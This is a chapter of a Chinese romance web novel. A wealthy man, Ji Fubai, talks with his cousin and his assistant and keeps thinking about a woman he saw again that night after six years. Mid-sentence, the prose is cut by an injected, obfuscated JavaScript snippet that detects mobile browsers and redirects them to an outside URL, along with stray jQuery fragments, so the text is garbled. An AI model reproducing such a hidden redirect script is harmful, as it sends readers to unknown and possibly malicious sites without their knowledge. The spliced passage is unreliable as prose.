不是茶 作品

50. 做梦

    黑色劳斯莱斯幻影平稳行驶在高架桥上,身影如同一抹暗夜流星,轻盈划过。


    车里,纪复白保持两指轻抵着额,眼皮微敛的姿势已经半晌,沉默如一尊佛。


    突然听身旁女孩儿问:“你看上那俩女生其中的哪一个了?”


    他微的一挑眉:“?”


    对方笑笑,法式美甲敲得手机屏幕啪啪作响,眼也不抬道:“上车前看了好几眼,以为我没发现?是不是觉得自己一点动静都没有,我告诉你,女孩儿对这个可敏感了,人家估计也发现了。”


    “所以是哪一个呢?”女孩儿抬起头来,摸着下巴,狭起眼,“我猜一下,以你们男人的普遍喜好来看,应该是那个穿白色长裙和小开衫的,站在风里,发丝纷飞,裙摆飘扬,一身清纯,又仙气飘飘,不经意间就融了冰山,化了冬雪,是吧,小白哥?”


    纪复白淡淡瞄她一眼,挪开视线,望向窗外。


    什么冰山冬雪,那女人才是冰山,是永不融化的冬雪。


    “是不是要开学了,明天回北京?”他转移话题道。


    女孩儿:“先不回北京,去成都,找思梦姐。”


    纪复白:“小梦在成都?”


    女孩儿:“对啊,她放假回国了,说去成都找朋友玩儿,我也过去找她聚一下,好久没见了,你要有空也一起?你们也好久没见了吧?”


    纪复白摇了摇头,“你们聚。”又问:“钱够花吗?”


    女孩儿道:“钱哪有够花的?”


    他从钱包里抽出张黑金卡,递给堂妹,“密码还记得吗?”


    “我爱1218!”堂妹欢欢喜喜接下,笑道:“哥,你每次一声不吭递卡过来都巨帅无比。”


    纪复白:“其他时候呢?”


    堂妹:“还行。”


    纪复白:“还我。”


    堂妹:“开玩笑开玩笑。”


    堂妹赔了两声笑,又道:“小白哥,下回看上谁不要光用眼睛看了,直接送卡,人保准是你的。”


    纪复白淡淡道:“不是每个女人都吃这套。”


    堂妹:“也是,钱都搞不定的女人,才是真难搞,而你们男的,偏偏就爱这种难搞的,等花心思终于搞到了呢,却又要拿钱去出轨那些好搞的女人……啊,当然,你肯定不是这种人,你是绝世好男人!”


    “……”他这才转开警告目光。


    车子开到酒店,两人各自回了自己的总统套房。


    纪复白刚进房间,脱下西服外套,没两分钟,有人来敲门。


    他拉开门,转身往里走,对身后跟着进门的人道:“今天又用我车接谁来会所了?”


    那人回答:“我朋友的一个朋友,说是来找人,你见到了?怎么样,那姑娘漂亮吗?我问我朋友要照片,她死活不肯给。”


    纪复白在满墙酒柜前倒酒。


    漂亮么?


    听见别人问,他有一瞬的失神。


    “满了满了,我的哥你别倒了——”那人喊道。


    纪复白从思绪中抽离出来,放下酒瓶,身旁男人已经拿纸过来擦拭台面。


    他在一旁,端起那满杯人头马特级干邑白兰地,仰头干了。


    那人见他略有一些魂不着体,打趣道:“怎么了这是,这么贵的酒,让你在这儿当哈啤灌,我都替它们委屈。”


    纪复白垂眸,又倒一杯,凉淡磁嗓问:“你在打她主意?”


    男人微的一愣,又笑了:“你说今晚那姑娘?你怎么知道我想打她主意?”


    “在会所到处说她是你张先生的客人,你丫的心里想什么我能不知道?”


    纪复白拎着玻璃酒杯,踱步到落地窗前,一手抄兜,垂眸俯瞰西澹高楼林立的CBd,镜片后的黑眸,和那些靠金钱堆积而成的庞大建筑里投射出来的满墙内透光一样,凄清冰冷。


    张德尔也给自己倒了杯酒,坐到沙发上,笑了笑,说:“老大,你还没说呢,到底长得怎么样,我睡了这么多女人,也腻了,要不是天仙,现在都很难入我眼。”


    纪复白喝了口酒,道:“给你一个忠告,别去招惹,回头怎么死的都不知道。”


    张德尔:“什么意思,背后有主了?谁?”


    纪复白微提嘴角,窗户上照映一抹冷笑,“我。”


    张德尔:“……”


    张德尔尚未分清这是玩笑还是真心话,纪复白已经下一个话题:“说正事儿。”


    听到问工作,张德尔立马换了副认真的语气,详细汇报一遍。


    听完,纪复白点一点头,“走吧。”


    张德尔准备起身,想到什么,说:“老大,你还记得我读高三那会儿,把我堵在巷子里打的那家伙吗?那人长得快两米高,一拳头下来,我当场就掉了颗牙,差点没在那儿丢一条命,后来,不是你大老远跑来救的我,还帮我把那人教训了一顿。”


    自那以后,张德尔就彻底服气了,因为纪复白本可以不用管他。


    他之后问纪复白为什么,纪复白说觉得他还算有担当,至少跟人出手是因为一个女孩儿被那人欺负,不是胡乱惹事儿。


    后来,他就跟在对方身前身后喊“老大”。


    再后来,又努一把力,考了个不错的学校,进了纪熵,作为纪复白特助,跟着他老大一直干到现在。


    他自知自己的性子是成不了什么正面人物,处理一些脏手的事倒是在行。


    纪复白凝了一秒神,“没什么印象。”


    张德尔说:“这回在北京一个饭局又碰到他。”


    纪复白:“怎么,你又跟他打一架?”


    张德尔:“那倒没有,老子不想搭理他,他却跑上来跟我赔笑,单膝跪地,双手抱拳,大着舌头问我:咱白爷什么时候有空,能不能再揍我一顿?”


    张德尔也大着舌头,学那人喝醉后的语气,学完捂着肚子好一阵笑。


    独自笑完,他又望向落地窗边一身白色衬衣,黑色马甲,总是沉默寡言的背影。


    纪复白身高腿又长,肩宽腰又窄,练的恰到好处的倒三角身材,肌肉完美撑满布料,又不过分蛮壮,简直女人见了眼馋,男人见了嫉妒。


    然而不管身材多好,服饰多么精致昂贵,那背影总透着一股无法言说的落寞孤寂,也不知是不是他的错觉,又因为极少见对方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531511|167476||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    发自内心的笑,似乎从没真的开心过,他有时也会生出一些心疼的感觉。


    他总觉得老大心里埋着事儿,那事儿就像根针扎在里头,使人动一下疼一下,没有舒服的时候。


    也不知对方在听没在听他的话,张德尔还是认真地,又说了一声:“当年那事儿,谢了,老大。”


    “……”


    没人回他,看起来真的在走神,张德尔失笑,也不知对方今晚到底怎么了。


    难不成真的看上去会所找人那女的了?


    他试探着,说道:“对了,我那朋友今天找我帮忙时还跟我开玩笑,叫我照看着点儿她朋友,别叫哪个老总给那女生捆那儿不让走,我说至于吗,来会所的男人,什么女人没见过,女明星女演员女歌手女模特女大学生……说得跟我们没吃过好的似的。”


    这话一出,窗边身影有了反应,微微有些晃动,回头,一如既往冷眸淡眼:“还不走?”


    “别赶我别赶我,马上就走。”


    张德尔把酒喝完,站起来,正准备走,又想起来个事儿:“明晚欢迎会要不给你找个美人儿陪着,替你挡个酒,我怕你被西澹总部这几个血管里都是酒精的老家伙轮番灌趴了。”


    纪复白微蹙一点眉:“要找也是找男的,让一个女人给我挡酒,除非我是个废物。”


    张德尔:“现在女的能喝的也多着呢,你前女友不就挺能喝,再说,来个帅哥给你挡酒更怪吧?”


    纪复白道:“不用找人,我自己能应付,那几个老家伙要灌我,也没人挡得住。”


    “行吧。”张德尔点点头,走前看了看他,觉得对方此刻情绪似乎稍好了一点,又笑问:“老大,今晚那姑娘是不是特漂亮?”


    纪复白沉吟两秒,转回头,任由目光漫无目的地迷失在脚下迷宫一般恢弘璀璨的西澹市中心。


    那女人岂止是漂亮,简直漂亮得不真实。


    脑海再次浮现今晚在走廊看见蒋一茉的第一眼,白裙黑发,耳钉在灯下闪耀碎光,恍惚间,他以为自己回到了学校,在教室外的走廊,等她转头,喊他上课。


    又似乎站在她家门外那楼道里,那通道因灯泡年久失修而总是昏黄和雾蒙蒙的,她会喊他快回去,而他总要等她掏钥匙开门进去之后,才能放心转身下楼,又在楼下等她卧室亮灯。


    彼时,在会所走廊那当下,纪复白以为是做梦,掐了自己一下,只因六年间他梦到她太多次,已经有些分不清梦境还是现实。


    又害怕真是梦,怕一走过去,一切都会消失,像梦里无数次出现过的情景那样,每每当他靠近,梦散,人醒,天光乍亮,胸口堆积失落,好半晌他才能缓过来。


    身后有房门轻微合上落锁的声音——张德尔等不到回应,静悄悄先走了。


    纪复白绷紧的那副不为所动的情绪如摇晃的积木,在独处时,终于倒塌,溃不成军。


    一手撑上落地窗,他垂下头,心中一遍遍默念着她的名字。


    又不断想起今晚那男人给她披外套的画面,撑在窗户上的手掌缓握成拳,骨节泛白,另一只手,几根手指也和酒杯暗自较着劲,几乎要将其捏碎。